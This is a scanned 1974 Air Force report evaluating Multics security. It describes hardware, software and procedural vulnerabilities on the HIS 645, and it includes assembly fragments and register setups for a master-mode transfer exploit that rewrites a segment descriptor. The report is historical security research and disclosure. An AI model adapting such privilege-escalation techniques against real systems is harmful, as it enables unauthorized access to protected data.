

AD/A-001 120

MULTICS SECURITY EVALUATION
VULNERABILITY ANALYSIS

ELECTRONIC SYSTEMS DIVISION

JUNE 1974

DISTRIBUTED BY:

NTIS

National Technical Information Service
U. S. DEPARTMENT OF COMMERCE

ACCESSION for	
HTIS	White Section <input checked="" type="checkbox"/>
BDC	Ball Section <input type="checkbox"/>
UNANNOUNCED	<input type="checkbox"/>
JUSTIFICATION	
BY	
DISTRIBUTION/AVAILABILITY CODES	
Dist.	AVAIL. and/or SPECIAL
A	

LEGAL NOTICE


When U.S. Government drawings, specifications or other data are used for any purpose other than a definitely related government procurement operation, the government thereby incurs no responsibility nor any obligation whatsoever; and the fact that the government may have formulated, furnished, or in any way supplied the said drawings, specifications, or other data is not to be regarded by implication or otherwise as in any manner licensing the holder or any other person or conveying any rights or permission to manufacture, use, or sell any patented invention that may in any way be related thereto.

OTHER NOTICES


Do not return this copy. Retain or destroy.

REVIEW AND APPROVAL

This technical report has been reviewed and is approved for publication.




ROBERT E. PARK, Lt Colonel, USAF
Chief, Computer Security Branch



JOHN J. SULLIVAN, Colonel, USAF
Chief, Techniques Engineering Division

FOR THE COMMANDER



ROBERT W. O'KEEFE, Colonel, USAF
Director, Information Systems
Technology Applications Office
Deputy for Command & Management Systems

SECURITY CLASSIFICATION OF THIS PAGE (When Data Entered)

DD FORM 1473
1 JAN 73

EDITION OF 1 NOV 68 IS OBSOLETE

SECURITY CLASSIFICATION OF THIS PAGE (When Data Entered)

UNCLASSIFIED

SECURITY CLASSIFICATION OF THIS PAGE(When Data Entered)

19. KEY WORDS

Secure Computer Systems
Security Kernels
Security Penetration
Security Testing

Segmentation
Time-sharing
Virtual Memory

20. ABSTRACT

certifiably secure and cannot be used in an open use multi-level system. However, the Multics security design principles are significantly better than other contemporary systems. Thus, Multics as implemented today, can be used in a benign Secret/Top Secret environment. In addition, Multics forms a base from which a certifiably secure open use multi-level system can be developed.

ii

UNCLASSIFIED

SECURITY CLASSIFICATION OF THIS PAGE(When Data Entered)

PREFACE

This is Volume II of a 4 volume report prepared for the Air Force Data Services Center (AFDSC) by the Information Systems Technology Applications Office, Deputy for Command and Management Systems, Electronic Systems Division (ESD/MCI). The entire report represents an evaluation and recommendation of the Honeywell Multics system carried out under Air Force Project 6917 from March 1972 to June 1973. Work proceeding after June 1973 is briefly summarized. Work described in this volume was performed by personnel at ESD/MCI with support from the MITRE Corporation. Computer facilities at the Rome Air Development Center and the Massachusetts Institute of Technology were used in the evaluation effort.

TABLE OF CONTENTS

Section	Page
I INTRODUCTION	5
1.1 Status of Multi-level Security	5
1.2 Requirement for Multics Security Evaluation	5
1.3 Technical Requirements for Multi-level Security	6
1.3.1 Insecurity of Current Systems	6
1.3.2 Reference Monitor Concept	6
1.3.3 Hypothesis: Multics is "Secureable"	7
1.4 Sites Used	8
II MULTICS SECURITY CONTROLS	9
2.1 Hardware Security Controls	9
2.1.1 Segmentation Hardware	9
2.1.2 Master Mode	10
2.2 Software Security Controls	12
2.2.1 Protection Rings	12
2.2.2 Access Control Lists	13
2.2.3 Protected Access Identification	15
2.2.4 Master Mode Conventions	15
2.3 Procedural Security Controls	15
2.3.1 Enciphered Passwords	15
2.3.2 Login Audit Trail	16
2.3.3 Software Maintenance Procedures	16
III VULNERABILITY ANALYSIS	17
3.1 Approach Plan	17
3.2 Hardware Vulnerabilities	17
3.2.1 Random Failures	17
3.2.2 Execute Instruction Access Check Bypass	20
3.2.3 Preview of 6180 Hardware Vulnerabilities	22
3.3 Software Vulnerabilities	22
3.3.1 Insufficient Argument Validation	22
3.3.2 Master Mode Transfer	25
3.3.3 Unlocked Stack Base	30
3.3.4 Preview of 6180 Software Vulnerabilities	36
3.3.4.1 No Call Limiter Vulnerability	37
3.3.4.2 SLT-KST Dual SDW Vulnerability	37
3.3.4.3 Additional Vulnerabilities	38

Section	Page
3.4 Procedural Vulnerabilities	38
3.4.1 Dump and Patch Utilities	38
3.4.1.1 Use of Insufficient Argument Validation	39
3.4.1.2 Use of Unlocked Stack Base	42
3.4.1.3 Generation of New SDW's	42
3.4.2 Forging the Non-Forgeable User Identification	44
3.4.3 Accessing the Password File	47
3.4.3.1 Minimal Value of the Password File	47
3.4.3.2 The Multics Password File	47
3.4.4 Modifying Audit Trails	48
3.4.5 Trap Door Insertion	50
3.4.5.1 Classes of Trap Doors	50
3.4.5.2 Example of a Trap Door in Multics	53
3.4.6 Preview of 6180 Procedural Vulnerabilities	55
3.5 Manpower and Computer Costs	55
IV CONCLUSIONS	58
4.1 Multics is not Now Secure	58
4.2 Multics as a Base for a Secure System	59
4.2.1 A System for a Benign Environment	59
4.2.2 Long Term Open Secure System	60
References	61
Appendix	
A Subverter Listing	64
B Unlocked Stack Base Listing	99
C Trap Door in check\$device_name Listing	115
D Dump Utility Listing	131
E Patch Utility Listing	138
F Set Dates Utility Listing	144
Glossary	149

LIST OF FIGURES

Figure		Page
1	Segmentation Hardware	11
2	SDW Format	12
3	Directory Hierarchy	14
4	Execute Instruction Bypass	21
5	Insufficient Argument Validation	24
6	Master Mode Source Code	28
7	Master Mode Interpreted Object Code	28
8	Store With Master Mode Transfer	29
9	Unlocked Stack Base (Step 1)	34
10	Unlocked Stack Base (Step 2)	35
11	Dump/Patch Utility Using Insufficient Argument Validation	41
12	Dump/Patch Utility Using Unlocked Stack Base	43
13	Trap Door In check\$device_name	54

LIST OF TABLES

Table		Page
1	Subverter Test Attempts	19
2	Base Register Pairing	31
3	Cost Estimates	57

NOTATION

References in parentheses (2) are to footnotes.
References in angle brackets <AMD73> are to other
documents listed at the end of this report.

SECTION I

INTRODUCTION

1.1 Status of Multi-Level Security

A major problem with computing systems in the military today is the lack of effective multi-level security controls. The term multi-level security controls means, in the most general case, those controls needed to process several levels of classified material from unclassified through compartmented top secret in a multi-processing multi-user computer system with simultaneous access to the system by users with differing levels of clearances. The lack of such effective controls in all of today's computer operating systems has led the military to operate computers in a closed environment in which systems are dedicated to the highest level of classified material and all users are required to be cleared to that level. Systems may be changed from level to level, but only after going through very time consuming clearing operations on all devices in the system. Such dedicated systems result in extremely inefficient equipment and manpower utilization and have often resulted in the acquisition of much more hardware than would otherwise be necessary. In addition, many operational requirements cannot be met by dedicated systems because of the lack of information sharing. It has been estimated by the Electronic Systems Division (ESD) sponsored Computer Security Technology Panel (AND73) that these additional costs may amount to \$100,000,000 per year for the Air Force alone.

1.2 Requirement for Multics Security Evaluation

This evaluation of the security of the Multics system was performed under Project 6917, Program Element 64708F to meet the requirements of the Air Force Data Services Center (AFDSC). AFDSC must provide responsive interactive time-shared computer services to users within the Pentagon at all classification levels from unclassified to top secret. AFDSC in particular did not wish to incur the expense of multiple computer systems nor the expense of encryption devices for remote terminals which would otherwise be processing only unclassified material. In a separate study completed in February 1972, the Information Systems Technology Applications Office, Electronic Systems Division (ESD/MCI) identified the Honeywell Multics system as a candidate to meet both

AFDSC's multi-level security requirements and highly responsive advanced interactive time-sharing requirements.

1.3 Technical Requirements for Multi-Level Security

The ESD-sponsored Computer Security Technology Planning Study (AND73) outlined the security weaknesses of present day computer systems and proposed a development plan to provide solutions based on current technology. A brief summary of the findings of the panel follows.

1.3.1 Insecurity of Current Systems

The internal controls of current computers repeatedly have been shown insecure through numerous penetration exercises on such systems as GCOS (AND71), WMMCS GCOS (ING73, JTSA73), and IBM OS/360/370 (GOM72). This insecurity is a fundamental weakness of contemporary operating systems and cannot be corrected by "patches", "fix-ups", or "add-ons" to those systems. Rather, a fundamental reimplementation using an integrated hardware/software design which considers security as a fundamental requirement is necessary. In particular, steps must be taken to ensure the correctness of the security related portions of the operating system. It is not sufficient to use a team of experts to "test" the security controls of a system. Such a "tiger team" can only show the existence of vulnerabilities but cannot prove their non-existence.

Unfortunately, the managers of successfully penetrated computer systems are very reluctant to permit release of the details of the penetrations. Thus, most reports of penetrations have severe (and often unjustified) distribution restrictions leaving very few documents in the public domain. Concealment of such penetrations does nothing to deter a sophisticated penetrator and can in fact impede technical interchange and delay the development of a proper solution. A system which contains vulnerabilities cannot be protected by keeping those vulnerabilities secret. It can only be protected by the constraining of physical access to the system.

1.3.2 Reference Monitor Concept

The FSD Computer Security Technology Panel introduced the concept of a "reference monitor". This reference monitor is that hardware/software combination which must monitor all references by any program to any

data anywhere in the system to ensure that the security rules are followed. Three conditions must be met to ensure the security of a system based on a reference monitor.

- a. The monitor must be tamper proof.
- b. The monitor must be invoked for every reference to data anywhere in the system.
- c. The monitor must be small enough to be proven correct.

The stated design goals of contemporary systems such as GCOS or OS/360 are to meet the first requirement (albeit unsuccessfully). The second requirement is generally not met by contemporary systems since they usually include "bypasses" to permit special software to operate or must suspend the reference monitor to provide addressability for the operating system in exercising its service functions. The best known of these is the bypass in OS/360 for the IBM supplied service aid, I/ASAPZAP (SUPERZAP). <IBM70> Finally and most important, current operating systems are so large, so complex, and so monolithic that one cannot begin to attempt a formal proof or certification of their correct implementation.

1.3.3 Hypothesis: Multics is "Secureable"

The computer security technology panel identified the general class of descriptor driven processors (1) as extremely useful to the implementation of a reference monitor. Multics, as the most sophisticated of the descriptor-driven systems currently available, was hypothesized to be a potentially secureable system; that is, the Multics design was sufficiently well-organized and oriented towards security that the concept of a reference monitor could be implemented for Multics without fundamental changes to the facilities seen by Multics users. In particular, the Multics ring mechanism could protect the monitor from malicious or inadvertent tampering, and the Multics segmentation could

(1) Descriptor driven processors use some form of address translation through hardware interpretation of descriptor words or registers. Such systems include the Burroughs 6700, the Digital Equipment Corp. PDP-11/45, the Data General Nova 840, the DEC KI-10, the IIS G180, the IBM 370/158 and 168, and several others not listed here.

enforce monitor mediation on every reference to data. However, the question of certifiability had not as yet been addressed in Multics. Therefore the Multics vulnerability analysis described herein was undertaken to:

- a. Examine Multics for potential vulnerabilities.
- b. Identify whether a reference monitor was practical for Multics.
- c. Identify potential interim enhancements to Multics to provide security in a benign (restricted access) environment.
- d. Determine the scope and dimension of a certification effort.

1.4 Sites Used

The vulnerability analysis described herein was carried out on the HIS 645 Multics Systems installed at the Massachusetts Institute of Technology and at the Rome Air Development Center. As the HIS 6180, the new Multics processor, was not available at the time of this study. This report will describe results of analysis of the HIS 645 only. Since the completion of the analysis, work has started on an evaluation of the security controls of Multics on the HIS 6180. Preliminary results of the work on the HIS 6180 are very briefly summarized in this report, to provide an understanding of the value of the evaluation of the HIS 645 in the context of the new hardware environment.

SECTION II

MULTICS SECURITY CONTROLS

This section provides a brief overview of the basic Multics security controls to provide necessary background for the discussion of the vulnerability analysis. However, a rather thorough knowledge of the Multics implementation is assumed throughout the rest of this document. More complete background material may be found in Lipner <LIP74>, Saltzer <SAL73>, Organick <ORG72>, and the Multics Programmers' Manual <MPM73>.

The basic security controls of Multics fall into three major areas: hardware controls, software controls, and procedural controls. This overview will touch briefly on each of these areas.

2.1 Hardware Security Controls

2.1.1 Segmentation Hardware

The most fundamental security controls in the HIS 645 Multics are found in the segmentation hardware. The basic instruction set of the 645 can directly address up to 256K (2) distinct segments (3) at any one time, each segment being up to 256K words long. (4) Segments are broken up into 1K word pages (5) which can be moved between primary and secondary storage by software, creating a very large virtual memory. However, we will not treat paging throughout most of this evaluation as it is transparent to security. Paging must be implemented

(2) 1K = 1024 units.

(3) Current software table sizes restrict a process to about 1000 segments. However, by increasing these table sizes, the full hardware potential may be used.

(4) The 645 software restricted segments to 64K words for efficiency reasons.

(5) The 645 hardware also supports 64 word pages which were not used. The 6180 supports only a single page size which can be varied by field modification from 64 words to 4096 words. Initially, a size of 1024 words is being used. The supervisors on both the 645 and 6180 use unpaged segments of length 0 mod 64.

correctly in a secure system. However, bugs in page control are generally difficult to exploit in a penetration, because the user has little or no control over paging operations.

Segments are accessed by the 645 CPU through segment descriptor words (SDW's) that are stored in the descriptor segment (DSEG). (See Figure 1.) To access segment N, the 645 CPU uses a processor register, the descriptor segment base register (DBR), to find the DSEG. It then accesses the Nth SDW in the DSEG to obtain the address of the segment and the access rights currently in force on that segment for the current user.

Each SDW contains the absolute address of the page table for the segment and the access control information. (See Figure 2.) The last 6 bits of the SDW determine the access rights to the segment - read, execute, write, etc. (6) Using these access control bits, the supervisor can protect the descriptor segment from unauthorized modification by denying access in the SDW for the descriptor segment.

2.1.2 Master Mode

To protect against unauthorized modification of the DBR, the processor operates in one of two states - master mode and slave mode. In master mode any instruction may be executed and access control checks are inhibited. (7) In slave mode, certain instructions including those which modify the DBR are inhibited. Master mode procedure segments are controlled by the class field in the SDW. Slave mode procedures may transfer to master mode procedures only through word zero of the master mode procedure to prevent unrestricted invocation of privileged programs. It is then the responsibility of the master mode software to protect itself from malicious calls by placing suitable protective routines beginning at location zero.

(6) A more detailed description of the SDW format may be found in the 645 processor manual <AGE71>.

(7) The counterpart of master mode on the HIS 6180 called privileged mode does not inhibit access control checking.




Figure 1. Segmentation Hardware




Figure 2. SDW Format

2.2 Software Security Controls

The most outstanding feature of the Multics security controls is that they operate on a basis of "form" rather than the classical basis of "content". That is to say, the Multics controls are based on operations on a uniform population of well defined objects, as opposed to the classical controls which rely on anticipating all possible types of accesses and make security essentially a battle of wits.

2.2.1 Protection Rings

The primary software security control on the G45 Multics system is the ring mechanism. It was originally postulated as desirable to extend the traditional master/slave mode relationship of conventional machines to permit layering within the supervisor and within user code (see Graham <GPA68>). Eight concentric rings of protection, numbered 0 - 7, are defined with

higher numbered rings having less privilege than lower numbered rings, and with ring 0 containing the "hardcore" supervisor. (8) Unfortunately, the 645 CPU does not implement protection rings in hardware. (9) Therefore, the eight protection rings are implemented by providing eight descriptor segments for each process (user), one descriptor segment per ring. Special fault codes are placed in those SDW's which can be used for cross-ring transfers so that ring 0 software can intervene and accomplish the descriptor segment swap between the calling and called rings.

2.2.2 Access Control Lists

Segments in Multics are stored in a hierarchy of directories. A directory is a special type of segment that is not directly accessible to the user and provides a place to store names and other information about subordinate segments and directories. Each segment and directory has an access control list (ACL) in its parent directory entry controlling who may read (r), write (w), or execute (e) the segment or obtain status (s) of, modify (m) entries in, or append (a) entries to a directory. For example in Figure 3, the user Jones.Druid has read permission to segment ALPHA and has null access to segment BETA. However, Jones.Druid has modify permission to directory DELTA, so he can give himself access to segment BETA. Jones.Druid cannot give himself write access to segment ALPHA, because he does not have modify permission to directory GAMMA. In turn, the right to modify the access control lists of GAMMA and DELTA is controlled by the access control list of directory EPSILON, stored in the parent of EPSILON. Access control security checks for segments are enforced by the ring 0 software by setting the appropriate bits in the SDW at the time that a user attempts to add a segment to his address space.

(8) The original design called for 64 rings, but this was reduced to 8 in 1971.

(9) One of the primary enhancements of the HIS 6180 is the addition of ring hardware (SCHR72) and a consequent elimination of the need for master mode procedures in the user ring.




Figure 3. Directory Hierarchy

2.2.3 Protected Access Identification

In order to do access checking, the ring 0 software must have a protected, non-forgable identification of a user to compare with the ACL entries. This ID is established when a user signs on to Multics and is stored in the process data segment (PDS) which is accessible only in ring 0 or in master mode, so that the user may not tamper with the data stored in the PDS.

2.2.4 Master Mode Conventions

By convention, to protect master mode software, the original design specified that master mode procedures were not to be used outside ring 0. If the master mode procedure ran in the user ring, the master mode procedure itself would be forced to play the endless game of wits of the classical supervisor call. The master mode procedure would have to include code to check for all possible combinations of input arguments, rather than relying on a fundamental set of argument independent security controls. As an aid (or perhaps hindrance) to playing the game of wits, each master mode procedure must have a master mode pseudo-operation code assembled into location 0. The master mode pseudo-operation generates code to test an index register for a value corresponding to an entry point in the segment. If the index register is invalid, the master mode pseudo-operation code saves the registers for debugging and brings the system down.

2.3 Procedural Security Controls

2.3.1 Enciphered Passwords

When a user logs in to Multics, he types a password as his primary authentication. Of course, the access control list of the password file denies access to regular users of the system. In addition, as a protection against loss of a system dump which could contain the password file, all passwords are stored in a "non-invertible" cipher form. When a user types his password, it is enciphered and compared with the stored enciphered version for validity. Clear text passwords are

stored nowhere in the system.

2.3.2 Login Audit Trail

Each login and logout is carefully audited to check for attempts to guess valid user passwords. In addition, each user is informed of the date, time and terminal identification (if any) of last login to detect past compromises of the user's access rights. Further, the user is told the number of times his password has been given incorrectly since its last correct use.

2.3.3 Software Maintenance Procedures

The maintenance of the Multics software is carried out online on a dial-up Multics facility. A systems programmer prepares and nominally debugs his software for installation. He then submits his software to a library installer who copies and recompiles the source in a protected directory. The library installer then checks out the new software prior to installing it in the system source and object libraries. Ring 0 software is stored on a system tape that is reloaded into the system each time it is brought up. However, new system tapes are generated from online copies of the ring 0 software. The system libraries are protected against modification by the standard ACL mechanism. In addition, the library installers periodically check the date/time last modified of all segments in the library in an attempt to detect unauthorized modifications.

SECTION III

VULNERABILITY ANALYSIS

3.1 Approach Plan

It was hypothesized that although the fundamental design characteristics of Multics were sound, the implementation was carried out on an ad hoc basis and had security weaknesses in each of the three areas of security controls described in Section II - hardware, software, and procedures.

The analysis was to be carried out on a very limited basis with a less than one-half man month per month level of effort. Due to the manpower restrictions, a goal of one vulnerability per security control area was set. The procedure followed was to postulate a weakness in a general area, verify the weakness in the system, experiment with the weakness on the Rome Air Development Center (RADC) installation, and finally, using the resulting debugged penetration approach, exploit the weakness on the MIT installation.

An attempt was to be made to operate with the same type of ground rules under which a real agent would operate. That is, with each penetration, an attempt would be made to extract or modify sensitive system data without detection by the system maintenance or administrative personnel.

Several exploitations were successfully investigated. These included changing access fields in SDW's, changing protected identities in the PDS, inserting trap doors into the system libraries, and accessing the system password file.

3.2 Hardware Vulnerabilities

3.2.1 Random Failures

One area of significant concern in a system processing multi-level classified material is that of random hardware failures. As described in Section 2.1.1, the fundamental security of the system is dependent on the correct operation of the segmentation hardware. If this hardware is prone to error, potential security vulnerabilities become a significant problem.

To attempt a gross measure of the rate of security sensitive component failure, a procedure called the "subverter" was written to sample the security sensitive hardware on a frequent basis, testing for component failures which could compromise the security controls. The subverter was run in the background of an interactive process. Once each minute, the subverter received a timer interrupt and performed one test from the list described below. Assuming the test did not successfully violate security rules, the subverter would go to sleep for one minute before trying the next test. A listing of the subverter may be found in Appendix A.

The subverter was run for 1100 hours in a one year period on the MIT 645 system. The number of times each test was attempted is shown in Table 1. During the 1100 operating hours, no security sensitive hardware component failures were detected, indicating good reliability for the 645 security hardware. However, two interesting anomalies were discovered in the tests. First, one undocumented instruction (octal 471) was discovered on the 645. Experimentation indicated that the new instruction had no obvious impact on security, but merely seemed to store some internal register of no particular interest. The second anomaly was a design error resulting in an algorithmic failure of the hardware described in Section 3.2.2.

TABLE 1
Subverter Test Attempts
1100 Operating Hours

Test Name	# Attempts
1. Clear Associative Memory	3526
2. Store Control Unit	3466
3. Load Timer Register	3444
4. Load Descriptor Base Register	3422
5. Store Descriptor Base Register	3403
6. Connect I/O Channel	3378
7. Delay Until Interrupt Signal	3359
8. Read Memory Controller Mask Register	3344
9. Set Memory Controller Mask Register	3328
10. Set Memory Controller Interrupt Cells	3309
11. Load Alarm Clock	3289
12. Load Associative Memory	3259
13. Store Associative Memory	3236
14. Restore Control Unit	3219
15. No Read Permission	3148
16. No Write Permission	3131
17. XED - No Read Permission	3113
18. XED - No Write Permission	3098
19. Tally Word Without Write Permission	3083
20. Bounds Fault <64K	2398
21. Bounds Fault >64K	2368
22. Illegal Opcodes	2108

Tests 1-14 are tests of master mode instructions. Tests 15 and 16 attempt simple violation of read and write permission as set on segment ACL's. Tests 17 and 18 are identical to 15 and 16 except that the faulting instructions are reached from an Execute Double instruction rather than normal instruction flow. Test 19 attempts to increment a tally word that is in a segment without write permission. Tests 20 and 21 take out of bounds faults on segments of zero length, forcing the supervisor to grow new page tables for them. Test 22 attempts execution of all the instructions marked illegal on the 645.

3.2.2 Execute Instruction Access Check Bypass

While experimenting with the hardware subverter, a sequence of code (10) was observed which would cause the hardware of the 645 to bypass access checking. Specifically, the execute instruction in certain cases described below would permit the executed instruction to access a segment for reading or writing without the corresponding permissions in the SDW.

This vulnerability occurred when the execute instruction was in certain restricted locations of a segment with at least read-execute (re) permission. (See Figure 4.) The execute instruction then referenced an object instruction in word zero of a second segment with at least R permission. The object instruction indirected through an ITS pointer in the first segment to access a word for reading or writing in a third segment. The third segment was required to be "active"; that is, to have an SDW pointing to a valid page table for the segment. If all these conditions were met precisely, the access control fields in the SDW of the third segment would be ignored and the object instruction permitted to complete without access checks.

The exact layout of instructions and indirect words was crucial. For example, if the object instruction used a base register rather than indirecting through the segment containing the execute instruction (i.e., `staq ap10` rather than `staq 0,*`), then the access checks were done properly. Unfortunately, a complete schematic of the 645 was not available to determine the exact cause of the bypass. In informal communications with Honeywell, it was indicated that the error was introduced in a field modification to the 645 at MIT and was then made to all processors at all other sites.

This hardware bug represents a violation of one of the most fundamental rules of the Multics design - the checking of every reference to a segment by the hardware. This bug was not caused by fundamental design problems. Rather, it was caused by carelessness by the hardware engineering personnel.

(10) The subverter was designed to test sequences of code in which single failures could lead to security problems. Some of these sequences exercised relatively complex and infrequently used instruction modifications which experience had shown were prone to error.




Figure 4. Execute Instruction Bypass

No attempt was made to make a complete search for additional hardware design bugs, as this would have required logic diagrams for the S45. It was sufficient for this effort to demonstrate one vulnerability in this area.

3.2.3 Preview of 6180 Hardware Vulnerabilities

While no detailed look has been taken at the issue of hardware vulnerabilities on the 6180, the very first login of an ESD analyst to the 6180 inadvertently discovered a hardware vulnerability that crashed the system. The vulnerability was found in the Tally Word Without Write Permission test of the subverter. In this test, when the 6180 processor encountered the tally word without write permission, it signalled a "trouble" fault rather than an "access violation" fault. The "trouble" fault is normally signalled only when a fault occurs during the signalling of a fault. Upon encountering a "trouble" fault, the software normally brings the system down.

It should be noted that the H16 6180 contains very new and complex hardware that, as of this publication, has not been completely "shaken down". Thus, Honeywell still quite reasonably expects to find hardware problems. However, the inadequacy of "testing" for security vulnerabilities applies equally well to hardware as to software. Simply "shaking down" the hardware cannot find all the possible vulnerabilities.

3.3 Software Vulnerabilities

Although the approach plan for the vulnerability analysis only called for locating one example of each class of vulnerability, three software vulnerabilities were identified as shown below. Again, the search was neither exhaustive nor systematic.

3.3.1 Insufficient Argument Validation

Because the 645 Multics system must simulate protection rings in software, there is no direct hardware validation of arguments passed in a subroutine call from a less privileged ring to a more privileged ring. Some form of validation is required, because a malicious user could call a ring 0 routine that stores information through a user supplied pointer. If the malicious user supplied a pointer to data to which ring 0 had write permission but to which the user ring did not, ring 0 could be "tricked"

into causing a security violation.

To provide validation, the 645 software ring crossing mechanism requires all gate segments (11) to declare to the "gatekeeper" the following information:

1. number of arguments expected
2. data type of each arguments
3. access requirements for each argument-read only or read/write.

This information is stored by convention in specified locations within the gate segment. (12) The "gatekeeper" invokes an argument validation routine that inspects the argument list being passed to the gate to ensure that the declared requirements are met. If any test fails, the argument validator aborts the call and signals the condition "gate_error" in the calling ring.

In February 1973, a vulnerability was identified in the argument validator that would permit the "fooling" of ring 0 programs. The argument validator's algorithm to validate read or read/write permission was as follows: First copy the argument list into ring 0 to prevent modification of the argument list by a process running on another CPU in the system while the first process is in ring 0 and has completed argument validation. Next, force indirection through each argument pointer to obtain the segment number of the target argument. Then look up the segment in the calling ring's descriptor segment to check for read or write permission.

The vulnerability is as follows: (See figure 5.) An argument pointer supplied by the user is constructed to contain an IDC modifier (Increment address, decrement tally, and continue) that causes the first reference through the indirect chain to address a valid argument. This first reference is the one made by the

(11) A gate segment is a segment used to cross rings. It is identified by R2 and R3 of its ring brackets R1, R2, R3 being different. See Organick <ORG72> for a detailed description of ring brackets.

(12) For the convenience of authors of gates, a special "gate language" and "gate compiler" are provided to generate properly formatted gates. Using this language, the author of the gate can declare the data type and access requirement of each argument.




Figure 5. Insufficient Argument Validation

argument validator. The reference through the IDC modifier increments the address field of the tally word causing it to point to a different indirect word which in turn points to a different ITS pointer which points to an argument which is writable in ring 0 only. The second reference through this modified indirect chain is made by the ring 0 program which proceeds to write data where it shouldn't. (13)

This vulnerability resulted from violation of a basic rule of the Multics design - that all arguments to a more privileged ring be validated. The problem was not in the fundamental design - the concept of a software argument validator is sound given the lack of ring hardware. The problem was an ad hoc implementation of that argument validator which overlooked a class of argument pointers.

Independently, a change was made to the MIT system which fixed this vulnerability in February 1973. The presence and exploitability of the vulnerability were verified on the PADC Multics which had not been updated to the version running at MIT. The method of correction chosen by MIT was rather "brute force." The argument validator was changed to require the modifier in the second word of each argument pointer always to be zero. This requirement solves the specific problem of the IDC modifier, but not the general problem of argument validation.

3.3.2 Master Mode Transfer

As described in Sections 2.1.2 and 2.2.4, the 645 CPU has a master mode in which privileged instructions may be executed and in which access checking is inhibited although address translation through segment and page tables is retained. (14) The original design of the Multics protection rings called for master mode code to be

(13) Depending on the actual number of references made, the malicious user need only vary the number of indirect words pointing to legal and illegal arguments. We have assumed for simplicity here that the validator and the ring 0 program make only one reference each.

(14) The 645 also has an absolute mode in which all addresses are absolute core addresses rather than being translated by the segmentation hardware. This mode is used only to initialize the system.

restricted to ring 0 by convention. (15) This convention caused the fault handling mechanism to be excessively expensive due to the necessity of switching from the user ring into ring 0 and out again using the full software ring crossing mechanism. It was therefore proposed and implemented that the signaller, the module responsible for processing faults to be signalled to the user, (16) be permitted to run in the user ring to speed up fault processing. The signaller is a master mode procedure, because it must execute the RCU (Restore Control Unit) instruction to restart a process after a fault.

The decision to move the signaller to the user ring was not felt to be a security problem by the system designers, because master mode procedures could only be entered at word zero. The signaller would be assembled with the master mode pseudo-operation code at word zero to protect it from any malicious attempt by a user to execute an arbitrary sequence of instructions within the procedure. It was also proposed, although never implemented, that the code of master mode procedures in the user ring be specially audited. However as we shall see in Section 3.4.4, auditing does not guarantee victory in the "battle of wits" between the implementor and the penetrator. Auditing cannot be used to make up for fundamental security weaknesses.

It was postulated in the ESD/MCI vulnerability analysis that master mode procedures in the user ring represent a fundamental violation of the Multics security concept. Violating this concept moves the security controls from the basic hardware/software mechanism to the cleverness of the systems programmer who, being human, makes mistakes and commits oversights. The master mode procedures become classical "supervisor calls" with no rules for "sufficient" security checks. In fact, upon close examination of the signaller, this hypothesis was found to be true.

(15) This convention is enforced on the 6180. Privileged mode (the 6180 analogy to the 645 master mode) only has effect in ring 0. Outside ring 0, the hardware ignores the privileged mode bit.

(16) The signaller processed such faults as "zerodivide" and access violation which are signalled to the user. Page faults and segment faults which the user never sees are processed elsewhere in ring 0.

The master mode pseudo-operation code was designed only to protect master mode procedures from random calls within ring 0. It was not designed to withstand the attack of a malicious user, but only to operate in the relatively benign environment of ring 0.

The master mode program shown in Figure 6 assembles into the interpreted object code shown in Figure 7. The master mode procedure can only be entered at location zero. (17) By convention, the n entry points to the procedure are numbered from 0 to n-1. The number of the desired entry point must be in index register zero at the time of the call. The first two instructions in the master mode sequence check to ensure that index register zero is in bounds. If it is, the transfer on no carry (tnc) instruction indirects through the transfer vector to the proper entry. If index register zero is out of bounds, the processor registers are saved for debugging and control is transferred to "mxerror," a routine to crash the system because of an unrecoverable error.

This transfer to mxerror is the most obvious vulnerability. By moving the signaller into the user ring, the designers allowed a user to arbitrarily crash the system by transferring to signaller10 with a bad value in index register zero. This vulnerability is not too serious, since it does not compromise information and could be repaired by changing mxerror to handle the error, rather than crashing the system.

However, there is a much more subtle and dangerous vulnerability here. The tra lp|12,* instruction that is used to call mxerror believes that the lp register points to the linkage section of the signaller, which it should if the call were legitimate. However, a malicious user may set the lp register to point wherever he wishes, permitting him to transfer to an arbitrary location while the CPU is still in master mode. The key is the transfer in master mode, because this permits a transfer to an arbitrary location within another master mode procedure without access checking and without the restriction of entering at word zero. Thus, the penetrator need only find a convenient store instruction to be able to write into his own descriptor segment, for example. Figure 8 shows the use of a sta bp|0 instruction to change the contents of an SDW illegally.

(17) This restriction is enforced by hardware described in Section 2.1.2.

```

name      master_test
mastermode
entry     a
entry     b
a:        code
...
b:        code
...
end

```


Figure 6. Master Mode Source Code

```

cmpx0     2,du      "call in bounds?
tnc       transfer_vector,0 "Yes, go to entry
stb       sp|0      "illegal call here
sreg      sp|10     "save registers
eapap     arglist   "set up call
stcd      sp|24
tra       lp|12,*   "lp|12 points to mxerror
a:        code
...
b:        code
...
transfer_vector:
tra       a
tra       b
end

```

Figure 7. Master Mode Interpreted Object Code



Setup Conditions

A reg : = new SDW
 Index 0 : = - 1
 lp : = address (POINTER) - 12
 POINTER : = address (sta instruction)
 bp : = address (SDW)

Figure 8. Store with Master Mode Transfer

There is one major difficulty in exploiting this vulnerability. The instruction to which control is transferred must be chosen with extreme care. The instructions immediately following the store must provide some orderly means of returning control to the malicious user without doing uncontrolled damage to the system. If a crucial data base is garbled, the system will crash leaving a core dump which could incriminate the penetrator.

This vulnerability was identified by ESP/HCI in June 1972. An attempt to use the vulnerability led to a system crash for the following reason: Due to an obsolete listing of the signaller, the transfer was made to an LDBR (Load Descriptor Base Register) instruction instead of the expected store instruction. The DBR was loaded with a garbled value, and the system promptly crashed. The system maintenance personnel, being unaware of the presence of an active penetration, attributed the crash to a disk read error.

The Master Mode Transfer vulnerability resulted from a violation of the fundamental rule that master mode code shall not be executed outside ring 0. The violation was not made maliciously by the system implementors. Rather it occurs because of the interaction of two seemingly independent events: the ability to transfer via the lp without the system being able to check the validity of the lp setting, and the ability for that transfer to be to master mode code. The separation of these events made the recognition of the problem unlikely during implementation.

3.3.3 Unlocked Stack Base

The 645 CPU has eight 18-bit registers that are used for inter-segment references. Control bits are associated with each register to allow it to be paired with another register as a word number-segment number pair. In addition, each register has a lock bit, settable only in master mode, which protects its contents from modification. By convention, the eight registers are named and paired as shown in Table 2.

TABLE 2
Base Register Pairing

<u>Number</u>	<u>Name</u>	<u>Use</u>	<u>Pairing</u>
0	ap	argument pointer	paired with ab
1	ab	argument base	unpaired
2	bp	unassigned	paired with bh
3	bb	unassigned	unpaired
4	lp	linkage pointer	paired with lh
5	lb	linkage base	unpaired
6	sp	stack pointer	paired with sh
7	sb	stack base	unpaired

